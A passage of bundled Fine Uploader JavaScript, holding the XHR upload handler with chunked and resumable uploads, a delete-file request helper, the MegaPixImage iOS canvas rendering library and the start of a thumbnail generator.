_initFormForUpload: function(spec) {\n            var method = spec.method,\n                endpoint = spec.endpoint,\n                params = spec.params,\n                paramsInBody = spec.paramsInBody,\n                targetName = spec.targetName,\n                form = qq.toElement(\"<form method='\" + method + \"' enctype='multipart/form-data'></form>\"),\n                url = endpoint;\n\n            if (paramsInBody) {\n                qq.obj2Inputs(params, form);\n            }\n            else {\n                url = qq.obj2url(params, endpoint);\n            }\n\n            form.setAttribute(\"action\", url);\n            form.setAttribute(\"target\", targetName);\n            form.style.display = \"none\";\n            document.body.appendChild(form);\n\n            return form;\n        },\n\n        /**\n         * @param innerHtmlOrMessage JSON message\n         * @returns {*} The parsed response, or an empty object if the response could not be parsed\n         */\n        _parseJsonResponse: function(innerHtmlOrMessage) {\n            var response = {};\n\n            try {\n                response = qq.parseJson(innerHtmlOrMessage);\n            }\n            catch (error) {\n                log(\"Error when attempting to parse iframe upload response (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common API exposed to creators of XHR handlers.  This is reused and possibly overriding in some cases by specific\n * XHR upload handlers.\n *\n * @constructor\n */\nqq.XhrUploadHandler = function(spec) {\n    \"use strict\";\n\n    var handler = this,\n        namespace = spec.options.namespace,\n        proxy = spec.proxy,\n        chunking = spec.options.chunking,\n        resume = spec.options.resume,\n        chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking,\n        resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        getEndpoint = proxy.getEndpoint,\n        getDataByUuid = proxy.getDataByUuid,\n        onUuidChanged = proxy.onUuidChanged,\n        onProgress = proxy.onProgress,\n        log = proxy.log;\n\n    function abort(id) {\n        qq.each(handler._getXhrs(id), function(xhrId, xhr) {\n            var ajaxRequester = handler._getAjaxRequester(id, xhrId);\n\n            xhr.onreadystatechange = null;\n            xhr.upload.onprogress = null;\n            xhr.abort();\n            ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, blobOrProxy) {\n                if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {\n                    super_.add(id, {file: blobOrProxy});\n                }\n                else if (blobOrProxy instanceof qq.BlobProxy) {\n                    super_.add(id, {proxy: blobOrProxy});\n                }\n                else {\n                    throw new Error(\"Passed obj is not a File, Blob, or proxy\");\n                }\n\n                handler._initTempState(id);\n                resumeEnabled && handler._maybePrepareForResume(id);\n            },\n\n            expunge: function(id) {\n                abort(id);\n                handler._maybeDeletePersistedChunkData(id);\n                handler._clearXhrs(id);\n                super_.expunge(id);\n            }\n        };\n    });\n\n    qq.extend(this, {\n        // Clear the cached chunk `Blob` after we are done with it, just in case the `Blob` bytes are stored in memory.\n        clearCachedChunk: function(id, chunkIdx) {\n            delete handler._getFileState(id).temp.cachedChunks[chunkIdx];\n        },\n\n        clearXhr: function(id, chunkIdx) {\n            var tempState = handler._getFileState(id).temp;\n\n            if (tempState.xhrs) {\n                delete tempState.xhrs[chunkIdx];\n            }\n            if (tempState.ajaxRequesters) {\n                delete tempState.ajaxRequesters[chunkIdx];\n            }\n        },\n\n        // Called when all chunks have been successfully uploaded.  Expected promissory return type.\n        // This defines the default behavior if nothing further is required when all chunks have been uploaded.\n        finalizeChunks: function(id, responseParser) {\n            var lastChunkIdx = handler._getTotalChunks(id) - 1,\n                xhr = handler._getXhr(id, lastChunkIdx);\n\n            if (responseParser) {\n                return new qq.Promise().success(responseParser(xhr), xhr);\n            }\n\n            return new qq.Promise().success({}, xhr);\n        },\n\n        getFile: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).file;\n        },\n\n        getProxy: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).proxy;\n        },\n\n        /**\n         * @returns {Array} Array of objects containing properties useful to integrators\n         * when it is important to determine which files are potentially resumable.\n         */\n        getResumableFilesData: function() {\n            var resumableFilesData = [];\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress,  uploadData.chunking.remaining);\n\n                var data = {\n                    name: uploadData.name,\n                    remaining: uploadData.chunking.remaining,\n                    size: uploadData.size,\n                    uuid: uploadData.uuid\n                };\n\n                if (uploadData.key) {\n                    data.key = uploadData.key;\n                }\n\n                resumableFilesData.push(data);\n            });\n\n            return resumableFilesData;\n        },\n\n        isResumable: function(id) {\n            return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;\n        },\n\n        moveInProgressToRemaining: function(id, optInProgress, optRemaining) {\n            var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress,\n                remaining = optRemaining || handler._getFileState(id).chunking.remaining;\n\n            if (inProgress) {\n                log(qq.format(\"Moving these chunks from in-progress {}, to remaining.\", JSON.stringify(inProgress)));\n                inProgress.reverse();\n                qq.each(inProgress, function(idx, chunkIdx) {\n                    remaining.unshift(chunkIdx);\n                });\n                inProgress.length = 0;\n            }\n        },\n\n        pause: function(id) {\n            if (handler.isValid(id)) {\n                log(qq.format(\"Aborting XHR upload for {} '{}' due to pause instruction.\", id, getName(id)));\n                handler._getFileState(id).paused = true;\n                abort(id);\n                return true;\n            }\n        },\n\n        reevaluateChunking: function(id) {\n            if (chunking && handler.isValid(id)) {\n                var state = handler._getFileState(id),\n                    totalChunks,\n                    i;\n\n                delete state.chunking;\n\n                state.chunking = {};\n                totalChunks = handler._getTotalChunks(id);\n                if (totalChunks > 1 || chunking.mandatory) {\n                    state.chunking.enabled = true;\n                    state.chunking.parts = totalChunks;\n                    state.chunking.remaining = [];\n\n                    for (i = 0; i < totalChunks; i++) {\n                        state.chunking.remaining.push(i);\n                    }\n\n                    handler._initTempState(id);\n                }\n                else {\n                    state.chunking.enabled = false;\n                }\n            }\n        },\n\n        updateBlob: function(id, newBlob) {\n            if (handler.isValid(id)) {\n                handler._getFileState(id).file = newBlob;\n            }\n        },\n\n        _clearXhrs: function(id) {\n            var tempState = handler._getFileState(id).temp;\n\n            qq.each(tempState.ajaxRequesters, function(chunkId) {\n                delete tempState.ajaxRequesters[chunkId];\n            });\n\n            qq.each(tempState.xhrs, function(chunkId) {\n                delete tempState.xhrs[chunkId];\n            });\n        },\n\n        /**\n         * Creates an XHR instance for this file and stores it in the fileState.\n         *\n         * @param id File ID\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @returns {XMLHttpRequest}\n         */\n        _createXhr: function(id, optChunkIdx) {\n            return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());\n        },\n\n        _getAjaxRequester: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];\n        },\n\n        _getChunkData: function(id, chunkIndex) {\n            var chunkSize = chunking.partSize,\n                fileSize = getSize(id),\n                fileOrBlob = handler.getFile(id),\n                startBytes = chunkSize * chunkIndex,\n                endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize,\n                totalChunks = handler._getTotalChunks(id),\n                cachedChunks = this._getFileState(id).temp.cachedChunks,\n\n            // To work around a Webkit GC bug, we must keep each chunk `Blob` in scope until we are done with it.\n            // See https://github.com/Widen/fine-uploader/issues/937#issuecomment-41418760\n                blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);\n\n            cachedChunks[chunkIndex] = blob;\n\n            return {\n                part: chunkIndex,\n                start: startBytes,\n                end: endBytes,\n                count: totalChunks,\n                blob: blob,\n                size: endBytes - startBytes\n            };\n        },\n\n        _getChunkDataForCallback: function(chunkData) {\n            return {\n                partIndex: chunkData.part,\n                startByte: chunkData.start + 1,\n                endByte: chunkData.end,\n                totalParts: chunkData.count\n            };\n        },\n\n        /**\n         * @param id File ID\n         * @returns {string} Identifier for this item that may appear in the browser's local storage\n         */\n        _getLocalStorageId: function(id) {\n            var formatVersion = \"5.0\",\n                name = getName(id),\n                size = getSize(id),\n                chunkSize = chunking.partSize,\n                endpoint = getEndpoint(id);\n\n            return qq.format(\"qq{}resume{}-{}-{}-{}-{}\", namespace, formatVersion, name, size, chunkSize, endpoint);\n        },\n\n        _getMimeType: function(id) {\n            return handler.getFile(id).type;\n        },\n\n        _getPersistableData: function(id) {\n            return handler._getFileState(id).chunking;\n        },\n\n        /**\n         * @param id ID of the associated file\n         * @returns {number} Number of parts this file can be divided into, or undefined if chunking is not supported in this UA\n         */\n        _getTotalChunks: function(id) {\n            if (chunking) {\n                var fileSize = getSize(id),\n                    chunkSize = chunking.partSize;\n\n                return Math.ceil(fileSize / chunkSize);\n            }\n        },\n\n        _getXhr: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.xhrs[chunkIdx];\n        },\n\n        _getXhrs: function(id) {\n            return handler._getFileState(id).temp.xhrs;\n        },\n\n        // Iterates through all XHR handler-created resume records (in local storage),\n        // invoking the passed callback and passing in the key and value of each local storage record.\n        _iterateResumeRecords: function(callback) {\n            if (resumeEnabled) {\n                qq.each(localStorage, function(key, item) {\n                    if (key.indexOf(qq.format(\"qq{}resume\", namespace)) === 0) {\n                        var uploadData = JSON.parse(item);\n                        callback(key, uploadData);\n                    }\n                });\n            }\n        },\n\n        _initTempState: function(id) {\n            handler._getFileState(id).temp = {\n                ajaxRequesters: {},\n                chunkProgress: {},\n                xhrs: {},\n                cachedChunks: {}\n            };\n        },\n\n        _markNotResumable: function(id) {\n            handler._getFileState(id).notResumable = true;\n        },\n\n        // Removes a chunked upload record from local storage, if possible.\n        // Returns true if the item was removed, false otherwise.\n        _maybeDeletePersistedChunkData: function(id) {\n            var localStorageId;\n\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                if (localStorageId && localStorage.getItem(localStorageId)) {\n                    localStorage.removeItem(localStorageId);\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        // If this is a resumable upload, grab the relevant data from storage and items in memory that track this upload\n        // so we can pick up from where we left off.\n        _maybePrepareForResume: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // Resume is enabled and possible and this is the first time we've tried to upload this file in this session,\n            // so prepare for a resume attempt.\n            if (resumeEnabled && state.key === undefined) {\n                localStorageId = handler._getLocalStorageId(id);\n                persistedData = localStorage.getItem(localStorageId);\n\n                // If we found this item in local storage, maybe we should resume it.\n                if (persistedData) {\n                    persistedData = JSON.parse(persistedData);\n\n                    // If we found a resume record but we have already handled this file in this session,\n                    // don't try to resume it & ensure we don't persist future check data\n                    if (getDataByUuid(persistedData.uuid)) {\n                        handler._markNotResumable(id);\n                    }\n                    else {\n                        log(qq.format(\"Identified file with ID {} and name of {} as resumable.\", id, getName(id)));\n\n                        onUuidChanged(id, persistedData.uuid);\n\n                        state.key = persistedData.key;\n                        state.chunking = persistedData.chunking;\n                        state.loaded = persistedData.loaded;\n                        state.attemptingResume = true;\n\n                        handler.moveInProgressToRemaining(id);\n                    }\n                }\n            }\n        },\n\n        // Persist any data needed to resume this upload in a new session.\n        _maybePersistChunkedState: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // If local storage isn't supported by the browser, or if resume isn't enabled or possible, give up\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                persistedData = {\n                    name: getName(id),\n                    size: getSize(id),\n                    uuid: getUuid(id),\n                    key: state.key,\n                    chunking: state.chunking,\n                    loaded: state.loaded,\n                    lastUpdated: Date.now()\n                };\n\n                try {\n                    localStorage.setItem(localStorageId, JSON.stringify(persistedData));\n                }\n                catch (error) {\n                    log(qq.format(\"Unable to save resume data for '{}' due to error: '{}'.\", id, error.toString()), \"warn\");\n                }\n            }\n        },\n\n        _registerProgressHandler: function(id, chunkIdx, chunkSize) {\n            var xhr = handler._getXhr(id, chunkIdx),\n                name = getName(id),\n                progressCalculator = {\n                    simple: function(loaded, total) {\n                        var fileSize = getSize(id);\n\n                        if (loaded === total) {\n                            onProgress(id, name, fileSize, fileSize);\n                        }\n                        else {\n                            onProgress(id, name, (loaded >= fileSize ? fileSize - 1 : loaded), fileSize);\n                        }\n                    },\n\n                    chunked: function(loaded, total) {\n                        var chunkProgress = handler._getFileState(id).temp.chunkProgress,\n                            totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded,\n                            loadedForRequest = loaded,\n                            totalForRequest = total,\n                            totalFileSize = getSize(id),\n                            estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize),\n                            totalLoadedForFile = totalSuccessfullyLoadedForFile;\n\n                        chunkProgress[chunkIdx] = estActualChunkLoaded;\n\n                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {\n                            totalLoadedForFile += chunkLoaded;\n                        });\n\n                        onProgress(id, name, totalLoadedForFile, totalFileSize);\n                    }\n                };\n\n            xhr.upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    /* jshint eqnull: true */\n                    var type = chunkSize == null ? \"simple\" : \"chunked\";\n                    progressCalculator[type](e.loaded, e.total);\n                }\n            };\n        },\n\n        /**\n         * Registers an XHR transport instance created elsewhere.\n         *\n         * @param id ID of the associated file\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @param xhr XMLHttpRequest object instance\n         * @param optAjaxRequester `qq.AjaxRequester` associated with this request, if applicable.\n         * @returns {XMLHttpRequest}\n         */\n        _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {\n            var xhrsId = optChunkIdx == null ? -1 : optChunkIdx,\n                tempState = handler._getFileState(id).temp;\n\n            tempState.xhrs = tempState.xhrs || {};\n            tempState.ajaxRequesters = tempState.ajaxRequesters || {};\n\n            tempState.xhrs[xhrsId] = xhr;\n\n            if (optAjaxRequester) {\n                tempState.ajaxRequesters[xhrsId] = optAjaxRequester;\n            }\n\n            return xhr;\n        },\n\n        // Deletes any local storage records that are \"expired\".\n        _removeExpiredChunkingRecords: function() {\n            var expirationDays = resume.recordsExpireIn;\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                var expirationDate = new Date(uploadData.lastUpdated);\n\n                // transform updated date into expiration date\n                expirationDate.setDate(expirationDate.getDate() + expirationDays);\n\n                if (expirationDate.getTime() <= Date.now()) {\n                    log(\"Removing expired resume record with key \" + key);\n                    localStorage.removeItem(key);\n                }\n            });\n        },\n\n        /**\n         * Determine if the associated file should be chunked.\n         *\n         * @param id ID of the associated file\n         * @returns {*} true if chunking is enabled, possible, and the file can be split into more than 1 part\n         */\n        _shouldChunkThisFile: function(id) {\n            var state = handler._getFileState(id);\n\n            if (!state.chunking) {\n                handler.reevaluateChunking(id);\n            }\n\n            return state.chunking.enabled;\n        }\n    });\n};\n","/*globals qq, XMLHttpRequest*/\nqq.DeleteFileAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            method: \"DELETE\",\n            uuidParamName: \"qquuid\",\n            endpointStore: {},\n            maxConnections: 3,\n            customHeaders: function(id) {return {};},\n            paramsStore: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onDelete: function(id) {},\n            onDeleteComplete: function(id, xhrOrXdr, isError) {}\n        };\n\n    qq.extend(options, o);\n\n    function getMandatedParams() {\n        if (options.method.toUpperCase() === \"POST\") {\n            return {\n                _method: \"DELETE\"\n            };\n        }\n\n        return {};\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"POST\", \"DELETE\"],\n        method: options.method,\n        endpointStore: options.endpointStore,\n        paramsStore: options.paramsStore,\n        mandatedParams: getMandatedParams(),\n        maxConnections: options.maxConnections,\n        customHeaders: function(id) {\n            return options.customHeaders.get(id);\n        },\n        log: options.log,\n        onSend: options.onDelete,\n        onComplete: options.onDeleteComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        sendDelete: function(id, uuid, additionalMandatedParams) {\n            var additionalOptions = additionalMandatedParams || {};\n\n            options.log(\"Submitting delete file request for \" + id);\n\n            if (options.method === \"DELETE\") {\n                requester.initTransport(id)\n                    .withPath(uuid)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n            else {\n                additionalOptions[options.uuidParamName] = uuid;\n                requester.initTransport(id)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n        }\n    });\n};\n","/*global qq, define */\n/*jshint strict:false,bitwise:false,nonew:false,asi:true,-W064,-W116,-W089 */\n/**\n * Mega pixel image rendering library for iOS6+\n *\n * Fixes iOS6+'s image file rendering issue for large size image (over mega-pixel),\n * which causes unexpected subsampling when drawing it in canvas.\n * By using this library, you can safely render the image with proper stretching.\n *\n * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>\n * Released under the MIT license\n *\n * Heavily modified by Widen for Fine Uploader\n */\n(function() {\n\n    /**\n     * Detect subsampling in loaded image.\n     * In iOS, larger images than 2M pixels may be subsampled in rendering.\n     */\n    function detectSubsampling(img) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            canvas = document.createElement(\"canvas\"),\n            ctx;\n\n        if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image\n            canvas.width = canvas.height = 1;\n            ctx = canvas.getContext(\"2d\");\n            ctx.drawImage(img, -iw + 1, 0);\n            // subsampled image becomes half smaller in rendering size.\n            // check alpha channel value to confirm image is covering edge pixel or not.\n            // if alpha value is 0 image is not covering, hence subsampled.\n            return ctx.getImageData(0, 0, 1, 1).data[3] === 0;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * Detecting vertical squash in loaded image.\n     * Fixes a bug which squash image vertically while drawing into canvas for some images.\n     */\n    function detectVerticalSquash(img, iw, ih) {\n        var canvas = document.createElement(\"canvas\"),\n            sy = 0,\n            ey = ih,\n            py = ih,\n            ctx, data, alpha, ratio;\n\n        canvas.width = 1;\n        canvas.height = ih;\n        ctx = canvas.getContext(\"2d\");\n        ctx.drawImage(img, 0, 0);\n        data = ctx.getImageData(0, 0, 1, ih).data;\n\n        // search image edge pixel position in case it is squashed vertically.\n        while (py > sy) {\n            alpha = data[(py - 1) * 4 + 3];\n            if (alpha === 0) {\n                ey = py;\n            } else {\n                sy = py;\n            }\n            py = (ey + sy) >> 1;\n        }\n\n        ratio = (py / ih);\n        return (ratio === 0) ? 1 : ratio;\n    }\n\n    /**\n     * Rendering image element (with resizing) and get its data URL\n     */\n    function renderImageToDataURL(img, blob, options, doSquash) {\n        var canvas = document.createElement(\"canvas\"),\n            mime = options.mime || \"image/jpeg\",\n            promise = new qq.Promise();\n\n        renderImageToCanvas(img, blob, canvas, options, doSquash)\n            .then(function() {\n                promise.success(\n                    canvas.toDataURL(mime, options.quality || 0.8)\n                );\n            });\n\n        return promise;\n    }\n\n    function maybeCalculateDownsampledDimensions(spec) {\n        var maxPixels = 5241000; //iOS specific value\n\n        if (!qq.ios()) {\n            throw new qq.Error(\"Downsampled dimensions can only be reliably calculated for iOS!\");\n        }\n\n        if (spec.origHeight * spec.origWidth > maxPixels) {\n            return {\n                newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),\n                newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))\n            };\n        }\n    }\n\n    /**\n     * Rendering image element (with resizing) into the canvas element\n     */\n    function renderImageToCanvas(img, blob, canvas, options, doSquash) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            width = options.width,\n            height = options.height,\n            ctx = canvas.getContext(\"2d\"),\n            promise = new qq.Promise(),\n            modifiedDimensions;\n\n        ctx.save();\n\n        if (options.resize) {\n            return renderImageToCanvasWithCustomResizer({\n                blob: blob,\n                canvas: canvas,\n                image: img,\n                imageHeight: ih,\n                imageWidth: iw,\n                orientation: options.orientation,\n                resize: options.resize,\n                targetHeight: height,\n                targetWidth: width\n            });\n        }\n\n        if (!qq.supportedFeatures.unlimitedScaledImageSize) {\n            modifiedDimensions = maybeCalculateDownsampledDimensions({\n                origWidth: width,\n                origHeight: height\n            });\n\n            if (modifiedDimensions) {\n                qq.log(qq.format(\"Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h\",\n                    width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight),\n                    \"warn\");\n\n                width = modifiedDimensions.newWidth;\n                height = modifiedDimensions.newHeight;\n            }\n        }\n\n        transformCoordinate(canvas, width, height, options.orientation);\n\n        // Fine Uploader specific: Save some CPU cycles if not using iOS\n        // Assumption: This logic is only needed to overcome iOS image sampling issues\n        if (qq.ios()) {\n            (function() {\n                if (detectSubsampling(img)) {\n                    iw /= 2;\n                    ih /= 2;\n                }\n\n                var d = 1024, // size of tiling canvas\n                    tmpCanvas = document.createElement(\"canvas\"),\n                    vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1,\n                    dw = Math.ceil(d * width / iw),\n                    dh = Math.ceil(d * height / ih / vertSquashRatio),\n                    sy = 0,\n                    dy = 0,\n                    tmpCtx, sx, dx;\n\n                tmpCanvas.width = tmpCanvas.height = d;\n                tmpCtx = tmpCanvas.getContext(\"2d\");\n\n                while (sy < ih) {\n                    sx = 0;\n                    dx = 0;\n                    while (sx < iw) {\n                        tmpCtx.clearRect(0, 0, d, d);\n                        tmpCtx.drawImage(img, -sx, -sy);\n                        ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);\n                        sx += d;\n                        dx += dw;\n                    }\n                    sy += d;\n                    dy += dh;\n                }\n                ctx.restore();\n                tmpCanvas = tmpCtx = null;\n            }());\n        }\n        else {\n            ctx.drawImage(img, 0, 0, width, height);\n        }\n\n        canvas.qqImageRendered && canvas.qqImageRendered();\n        promise.success();\n\n        return promise;\n    }\n\n    function renderImageToCanvasWithCustomResizer(resizeInfo) {\n        var blob = resizeInfo.blob,\n            image = resizeInfo.image,\n            imageHeight = resizeInfo.imageHeight,\n            imageWidth = resizeInfo.imageWidth,\n            orientation = resizeInfo.orientation,\n            promise = new qq.Promise(),\n            resize = resizeInfo.resize,\n            sourceCanvas = document.createElement(\"canvas\"),\n            sourceCanvasContext = sourceCanvas.getContext(\"2d\"),\n            targetCanvas = resizeInfo.canvas,\n            targetHeight = resizeInfo.targetHeight,\n            targetWidth = resizeInfo.targetWidth;\n\n        transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);\n\n        targetCanvas.height = targetHeight;\n        targetCanvas.width = targetWidth;\n\n        sourceCanvasContext.drawImage(image, 0, 0);\n\n        resize({\n            blob: blob,\n            height: targetHeight,\n            image: image,\n            sourceCanvas: sourceCanvas,\n            targetCanvas: targetCanvas,\n            width: targetWidth\n        })\n            .then(\n                function success() {\n                    targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();\n                    promise.success();\n                },\n                promise.failure\n            );\n\n        return promise;\n    }\n\n    /**\n     * Transform canvas coordination according to specified frame size and orientation\n     * Orientation value is from EXIF tag\n     */\n    function transformCoordinate(canvas, width, height, orientation) {\n        switch (orientation) {\n            case 5:\n            case 6:\n            case 7:\n            case 8:\n                canvas.width = height;\n                canvas.height = width;\n                break;\n            default:\n                canvas.width = width;\n                canvas.height = height;\n        }\n        var ctx = canvas.getContext(\"2d\");\n        switch (orientation) {\n            case 2:\n                // horizontal flip\n                ctx.translate(width, 0);\n                ctx.scale(-1, 1);\n                break;\n            case 3:\n                // 180 rotate left\n                ctx.translate(width, height);\n                ctx.rotate(Math.PI);\n                break;\n            case 4:\n                // vertical flip\n                ctx.translate(0, height);\n                ctx.scale(1, -1);\n                break;\n            case 5:\n                // vertical flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.scale(1, -1);\n                break;\n            case 6:\n                // 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(0, -height);\n                break;\n            case 7:\n                // horizontal flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(width, -height);\n                ctx.scale(-1, 1);\n                break;\n            case 8:\n                // 90 rotate left\n                ctx.rotate(-0.5 * Math.PI);\n                ctx.translate(-width, 0);\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * MegaPixImage class\n     */\n    function MegaPixImage(srcImage, errorCallback) {\n        var self = this;\n\n        if (window.Blob && srcImage instanceof Blob) {\n            (function() {\n                var img = new Image(),\n                    URL = window.URL && window.URL.createObjectURL ? window.URL :\n                        window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;\n                if (!URL) { throw Error(\"No createObjectURL function found to create blob url\"); }\n                img.src = URL.createObjectURL(srcImage);\n                self.blob = srcImage;\n                srcImage = img;\n            }());\n        }\n        if (!srcImage.naturalWidth && !srcImage.naturalHeight) {\n            srcImage.onload = function() {\n                var listeners = self.imageLoadListeners;\n                if (listeners) {\n                    self.imageLoadListeners = null;\n                    // IE11 doesn't reliably report actual image dimensions immediately after onload for small files,\n                    // so let's push this to the end of the UI thread queue.\n                    setTimeout(function() {\n                        for (var i = 0, len = listeners.length; i < len; i++) {\n                            listeners[i]();\n                        }\n                    }, 0);\n                }\n            };\n            srcImage.onerror = errorCallback;\n            this.imageLoadListeners = [];\n        }\n        this.srcImage = srcImage;\n    }\n\n    /**\n     * Rendering megapix image into specified target element\n     */\n    MegaPixImage.prototype.render = function(target, options) {\n        options = options || {};\n\n        var self = this,\n            imgWidth = this.srcImage.naturalWidth,\n            imgHeight = this.srcImage.naturalHeight,\n            width = options.width,\n            height = options.height,\n            maxWidth = options.maxWidth,\n            maxHeight = options.maxHeight,\n            doSquash = !this.blob || this.blob.type === \"image/jpeg\",\n            tagName = target.tagName.toLowerCase(),\n            opt;\n\n        if (this.imageLoadListeners) {\n            this.imageLoadListeners.push(function() { self.render(target, options); });\n            return;\n        }\n\n        if (width && !height) {\n            height = (imgHeight * width / imgWidth) << 0;\n        } else if (height && !width) {\n            width = (imgWidth * height / imgHeight) << 0;\n        } else {\n            width = imgWidth;\n            height = imgHeight;\n        }\n        if (maxWidth && width > maxWidth) {\n            width = maxWidth;\n            height = (imgHeight * width / imgWidth) << 0;\n        }\n        if (maxHeight && height > maxHeight) {\n            height = maxHeight;\n            width = (imgWidth * height / imgHeight) << 0;\n        }\n\n        opt = { width: width, height: height },\n        qq.each(options, function(optionsKey, optionsValue) {\n            opt[optionsKey] = optionsValue;\n        });\n\n        if (tagName === \"img\") {\n            (function() {\n                var oldTargetSrc = target.src;\n                renderImageToDataURL(self.srcImage, self.blob, opt, doSquash)\n                    .then(function(dataUri) {\n                        target.src = dataUri;\n                        oldTargetSrc === target.src && target.onload();\n                    });\n            }());\n        } else if (tagName === \"canvas\") {\n            renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);\n        }\n        if (typeof this.onrender === \"function\") {\n            this.onrender(target);\n        }\n    };\n\n    qq.MegaPixImage = MegaPixImage;\n})();\n","/*globals qq */\n/**\n * Draws a thumbnail of a Blob/File/URL onto an <img> or <canvas>.\n *\n * @constructor\n */\nqq.ImageGenerator = function(log) {\n    \"use strict\";\n\n    function isImg(el) {\n        return el.tagName.toLowerCase() === \"img\";\n    }\n\n    function isCanvas(el) {\n        return el.tagName.toLowerCase() === \"canvas\";\n    }\n\n    function isImgCorsSupported() {\n        return new Image().crossOrigin !== undefined;\n    }\n\n    function isCanvasSupported() {\n        var canvas = document.createElement(\"canvas\");\n\n        return canvas.getContext && canvas.getContext(\"2d\");\n    }\n\n    // This is only meant to determine the MIME type of a renderable image file.\n    // It is used to ensure images drawn from a URL that have transparent backgrounds\n    // are rendered correctly, among other things.\n    function determineMimeOfFileName(nameWithPath) {\n        /*jshint -W015 */\n        var pathSegments = nameWithPath.split(\"/\"),\n            name = pathSegments[pathSegments.length - 1].split(\"?\")[0],\n            extension = qq.getExtension(name);\n\n        extension = extension && extension.toLowerCase();\n\n        switch (extension) {\n            case \"jpeg\":\n            case \"jpg\":\n                return \"image/jpeg\";\n            case \"png\":\n                return \"image/png\";\n            case \"bmp\":\n                return \"image/bmp\";\n            case \"gif\":\n                return \"image/gif\";\n            case \"tiff\":\n            case \"tif\":\n                return \"image/tiff\";\n        }\n    }\n\n    // This will likely not work correctly in IE8 and older.\n    // It's only used as part of a formula to determine\n    // if a canvas can be used to scale a server-hosted thumbnail.\n    // If canvas isn't supported by the UA (IE8 and older)\n    // this method should not even be called.\n    function isCrossOrigin(url) {\n        var targetAnchor = document.createElement(\"a\"),\n            targetProtocol, targetHostname, targetPort;\n\n        targetAnchor.href = url;\n\n        targetProtocol = targetAnchor.protocol;\n        targetPort = targetAnchor.port;\n        targetHostname = targetAnchor.hostname;\n\n        if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {\n            return true;\n        }\n\n        if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {\n            return true;\n        }\n\n        // IE doesn't take ports into consideration when determining if two endpoints are same origin.\n        if (targetPort !== window.location.port && !qq.ie()) {\n            return true;\n        }\n\n        return false;\n    }\n\n    function registerImgLoadListeners(img, promise) {\n        img.onload = function() {\n            img.onload = null;\n            img.onerror = null;\n            promise.success(img);\n        };\n\n        img.onerror = function() {\n            img.onload = null;\n            img.onerror = null;\n            log(\"Problem drawing thumbnail!\", \"error\");\n            promise.failure(img, \"Problem drawing thumbnail!\");\n        };\n    }\n\n    function registerCanvasDrawImageListener(canvas, promise) {\n        // The image is drawn on the canvas by a third-party library,\n        // and we want to know when this is completed.  Since the library\n        // may invoke drawImage many times in a loop, we need to be called\n        // back when the image is fully rendered.  So, we are expecting the\n    